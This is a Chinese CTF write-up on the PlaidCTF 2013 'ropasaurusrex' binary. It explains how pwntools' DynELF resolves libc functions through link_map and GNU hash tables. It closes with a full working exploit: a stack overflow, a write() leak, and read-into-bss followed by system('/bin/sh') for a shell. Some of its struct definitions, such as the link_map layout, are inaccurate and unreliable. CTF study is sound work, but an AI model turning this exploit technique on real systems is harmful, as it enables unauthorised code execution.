前言:
最近看了以下pwntoos的DynELF方法,对其中是如何获取到函数地址的过程很感兴趣,就研究了一下,对通过DT_GNU_HASH获取函数地址的过程有了比较清晰的了解
漏洞:
我这里使用2013-PlaidCTF进行测试,首先老样子看看对应的反汇编代码
主函数如下,首先进入0804841d方法,然后打印对应的内存数据:

0804841d函数中可以看出存在溢出漏洞,漏洞点也就在这里:

看看保护策略

开启了NX,也就意味着栈中数据没有执行权限,基址重定位和栈保护等都没开启,基本的思路如下:
- 利用栈溢出首先获取read的函数地址。
- 利用相对偏移获取system的函数地址。
- 向bss段写入/bin/sh\x00字符串。
- 调用system函数。
基础:
想理解DynELF的执行,首先需要对link_map和通过hash表找到函数内存加载地址方法有一定的了解,首先讲下link_map:
link_map是在 Linux 下使用的一个数据结构,用于描述动态链接库(共享库)的加载信息。它在动态链接过程中扮演着重要角色,具体的结构如下:
struct link_map {
struct link_map *l_next; // 指向下一个 link_map 结构的指针
struct link_map *l_prev; // 指向前一个 link_map 结构的指针
void *l_addr; // 共享库的基地址
char *l_name; // 共享库的名称(路径)
struct ElfW(Dyn) *l_ld; // 指向 ELF 动态段的指针
void *l_real; // 实际的共享库地址(可能用于不同的加载器)
void *l_reserved; // 保留字段,用于未来扩展
int l_refcount; // 引用计数,跟踪库的使用情况
// 可能还有其他字段,依赖于实现
};
其中我们需要关注的l_next,l_real和l_name三个,首先看看网上找的这个图:

下面我们找一下,首先确定第一个link_map地址位于got.plt的第二位

查看0xf7f7ba30对应 link_map结构:

查询下一个0xf7f40000链内容,可以看到为linux-gate.so,这不是我们要找的,跳过直接进入下一个:

进入下一个link_map:0xf7f40410

这里可以看到libc.so是我们需要找的名称,这样就可以根据real获取基质为:0xf7c00000

可以看到正确:

往后再看一个链,可以看到已经结束,此时next为0,表示结束。

这我们就获取到了对应lib的基址,然后我们需要获取libc.so的DT_GNU_HASH,DT_STRTAB,DT_SYMTAB三个地址,这个需要读取l_ld:0xf7e23d2c
l_ld为指向 ELF 文件的动态段(ElfW(Dyn)
)的指针,包含共享库的动态信息,如所需的其他库、符号表等
可以直接查看对应的libc的区段,可以看到dynamic地址为00223d2c + 0xf7c00000 = 0xf7e23d2c

正常查看libc.so可以看到 DT_GNU_HASH,DT_STRTAB,DT_SYMTAB对应的标记和偏移

对应可以获取

即对应 DT_GNU_HASH,DT_STRTAB,DT_SYMTAB值
\*\] Found DT_GNU_HASH at 0xf7c0466c \[\*\] Found DT_STRTAB at 0xf7c16c40 \[\*\] Found DT_SYMTAB at 0xf7c09a80 获取到了这三个的地址,下面就要计算其具体的函数地址通过hash,这里读取system的地址,具体的结构图可以参考如下  首先我们看看DT_GNU_HASH结构 struct GnuHash { uint32_t nbuckets; // 桶的数量 uint32_t symndx; // 符号表的开始索引 uint32_t maskbits; // 掩码位数 uint32_t shift; // 用于计算哈希值的位移量 uint32_t buckets[]; // 桶数组,大小为 nbuckets // 后面可能跟着链表和其他数据 }; DT_STRTAB结构如下: struct Elf32_Dyn { int d_tag; // 动态节标记 union { uint32_t d_val; // 整数值 uint32_t d_ptr; // 指针值 } d_un; }; DT_SYMTAB结构如下: struct Elf32_Dyn { int d_tag; // 动态节标记 union { uint32_t d_val; // 整数值 uint32_t d_ptr; // 指针值 } d_un; }; 知道了三个的结构,首先我们需要获取桶数组的地址buckets,具体计算方法如下: buckets = DT_GNU_HASH + sizeof(elf.GNU_HASH) + (elfword \* maskwords) buckets = 0xf7c0466c + 0x10 + (0x00000400 \* 4) = 0xF7C0567C 然后需要计算具体的system的hash,计算代码如下: from pwnlib.util.packing import _need_bytes def gnu_hash(s): """gnu_hash(str) -> int Function used to generated GNU-style hashes for strings. """ s = bytearray(_need_bytes(s, 4, 0x80)) h = 5381 for c in s: h = h * 33 + c return h & 0xffffffff print(gnu_hash("system")) 然后将计算的结果和nbuckets进行计算即485418122 % 0x000003f9 = 0x3CB 然后我们需要获取ndx的地址即通过hash计算的数组获取0xF7C0567C + (0x3CB \* 4) = 0xF7C065A8下的内容c89,即对应的索引为c89  根据上述获取对应的地址如下 chain = chains + 4 \* (ndx - symndx) chain = 0xF7C06660 + 4 \* (0x0c89 - 0x00000014) = 0xF7C09834 然后计算对应的DT_SYMTAB下的地址 sym = DT_SYMTAB + sizeof(DT_SYMTAB) \* (ndx + i) sym = 0xf7c09a80 + 0x10 \* (0x0c89) = 0xF7C16310 -\>0x3019 然后根据获取的偏移地址可以去DT_STRTAB表中找到对应的名称,两个表相同 name = DT_STRTAB + sym name = 0xf7c16c40 + 0x3019 = 0xF7C19C59 可以看到0xF7C19C59下为对应的字符串名称system,证明找的地址没错,那么就可以取sym结构中的地址0004dd50为system的偏移地址和机制相加即可获取system的地址 0xf7c00000+0004dd50 = 0xf7c4dd50  通过gun hash计算的方式我们可以获取加载到程序中任意lib的任意函数地址 但是需要远程读取的时候需要注意我们需要能对外打印地址,需要有write或者print等函数进行打印才可以获取到地址,但是当有\\00的终止符的时候除write外会有异常终止需要注意 ## 利用: 最后看下利用方式,首先看看溢出点  0xffffcebc-0xffffce30=8c即140个字符就可以溢出返回地址 这里就需要注意了我们需要溢出返回地址到write,传入参数同时我们还要返回到我们的主函数重复执行,这里需要注意针对write的传参是通过栈而不是寄存器,这样我们就可以构造栈来传入参数:  看下对应的esp值,当前地址内容为0x0804842b,然后是三个参数:  然后执行call,call其实相当于两个功能push+jump push压入下一条地址,jump到指定地址,执行完成后地址如下:  调用系统方法传参通过栈,其内部会将栈的参数传入ebx、ecx、edx  所以我们构造就可构造如下poc 'a'\*140 + p32(elf.plt\['write'\]) + p32(start_addr) + p32(1) + p32(addr) + p32(8) 我们通过为write构造p32(1) + p32(addr) + p32(8)参数,然后返回start_addr地址,使得程序能正常执行 但是如何执行我们的system,我们可以先执行read,将输入的内容当作参数传入system中 ``` ssize_t read(int fd, void *buf, size_t count); ``` 我们只要给一个能写的地址,首先看看哪些地址可以写,使用vmmap  可以看到0x8049000 0x804a000可以写入,然后查下区段,使用:info files  我们可以写入到bss或data区段,只要可以写入即可 'a'\*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8) 由于read使用三个参数,system使用一个参数,当执行完read后进入system会将地址写入p32(0),将p32(elf.bss()+100当作参数传入并执行。 最后的代码如下: from pwn import * import codecs #context.log_level = 'debug' pro = 'ropasaurusrex' #p = remote('127.0.0.1', 10001) p = process(pro) elf = ELF(pro) start_addr = 0x8048340 def leak(addr): payload = b'a'*140 + p32(elf.plt['write']) + p32(start_addr) payload+= p32(1) + p32(addr) + p32(8) p.sendline(payload) context = p.recv(8) hex_encoded_context = codecs.encode(context, 'hex').decode('utf-8') print(b"%#x -> %s -> %s" % (addr, hex_encoded_context.encode('utf-8'),context)) return context d = DynELF(leak,elf = elf) system_addr = d.lookup(b'system',b'libc') gdb.attach(p, 'b *0x8048416') read_addr = d.lookup(b'read',b'libc') print("system_addr: " + hex(system_addr)) print("read_addr: " + hex(read_addr)) #0x0804968c p.sendline(b'a'*140 + p32(read_addr) + p32(system_addr) + p32(0) + p32(elf.bss()+100) + p32(8)) p.sendline(b'/bin/sh\x00') p.interactive() 结束\~!